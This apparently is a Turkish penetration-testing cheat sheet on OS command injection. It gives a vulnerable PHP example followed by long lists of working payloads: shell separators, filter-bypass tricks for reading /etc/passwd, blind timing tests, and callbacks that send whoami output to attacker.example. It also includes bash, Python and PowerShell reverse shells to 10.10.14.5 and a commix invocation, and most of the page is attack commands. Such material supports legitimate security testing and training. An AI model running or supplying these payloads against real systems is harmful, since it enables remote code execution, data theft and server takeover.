Skip to content

OS Command Injection

OWASP A03 · Injection difficulty: orta impact: yüksek

OS Command Injection, uygulamanın kullanıcı girdisini bir sistem kabuğuna (shell) komut olarak geçirmesiyle oluşur. Başarılı sömürü, sunucuda rastgele komut çalıştırma (RCE) ve çoğunlukla tam sistem ele geçirme demektir.

// Güvensiz: kullanıcı girdisi doğrudan shell'e
system("ping -c 1 " . $_GET['host']);

host=8.8.8.8; id girildiğinde ping ardından id çalışır.

Benzer yüzeyler: exec, passthru, popen, shell_exec (PHP); os.system / subprocess with shell=True (Python); Runtime.exec yanlış kullanımı (Java); child_process.exec (Node).

Terminal window
; & && | ||
Terminal window
`id` $(id) # komut ikamesi
Terminal window
%0a / %0d%0a # newline (bazı bağlamlar)
Terminal window
${IFS} # boşluk yerine
Terminal window
& && | ||
Terminal window
%COMSPEC% /c whoami

Tırnak içindeyse önce tırnağı kapat: “; id # veya ’& whoami &.

  1. Doğrudan çıktı — ; id / | whoami / & whoami ekleyip yanıtta çıktı ara. Parametre hem GET hem POST/JSON/header’da olabilir.

  2. Kör — time-based — çıktı görünmüyorsa gecikme enjekte et:

    Terminal window
    & ping -c 10 127.0.0.1 & # Linux
    Terminal window
    & sleep 10 &
    Terminal window
    & timeout /t 10 & # Windows
    Terminal window
    & ping -n 10 127.0.0.1 &
  3. Kör — OAST — DNS/HTTP geri çağırma ile doğrula:

    Terminal window
    & nslookup $(whoami).attacker.example &
    Terminal window
    & curl http://$(whoami).attacker.example/ &
    Terminal window
    & powershell -c "iwr http://attacker.example/$env:USERNAME" &
  4. Çıktıyı dosyaya yaz / web root’a dök — kör ortamda:

    Terminal window
    & id > /var/www/html/out.txt &
Terminal window
{cat,/etc/passwd}
Terminal window
cat${IFS}/etc/passwd
Terminal window
cat$IFS$9/etc/passwd
Terminal window
X=$'cat\x20/etc/passwd';$X
Terminal window
c''at /etc/passwd
Terminal window
c\at /etc/passwd
Terminal window
$(printf 'id')
Terminal window
/??n/??t /???/??ss?? # glob (bin/cat /etc/passwd)
Terminal window
| id
Terminal window
|| id
Terminal window
&& id
Terminal window
%0aid
Terminal window
";id;"
Terminal window
'|id|'
Terminal window
$(id)
Terminal window
`id`
AmaçLinuxWindows
Kimlikid / whoamiwhoami / whoami /all
Gecikmesleep 5timeout /t 5 / ping -n 6
DNS OASTnslookup x.attackernslookup x.attacker
Dosya okucat /etc/passwdtype C:\Windows\win.ini
Shellbash / shcmd / PowerShell

commix · scan

embedded tool
Generated command
commix --url=https://hedef/ping?ip=127.0.0.1 -p ip --batch

Payload üretimi için Reverse Shell Generator:

Terminal window
; bash -i >& /dev/tcp/10.10.14.5/443 0>&1
Terminal window
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Terminal window
& powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);..."

Outbound kısıtlıysa: tersine DNS/HTTP exfil, web shell yazma veya iç ağ pivot komutları tercih edilir.

Argüman enjeksiyonu (shell metachar olmadan)

Section titled “Argüman enjeksiyonu (shell metachar olmadan)”

Bazen shell açılmaz ama komut satırı argümanı enjekte edilir:

Terminal window

Bu sınıf, klasik ; testinde negatif kalır; araç bayraklarını ve – ayırıcılarını hedefle.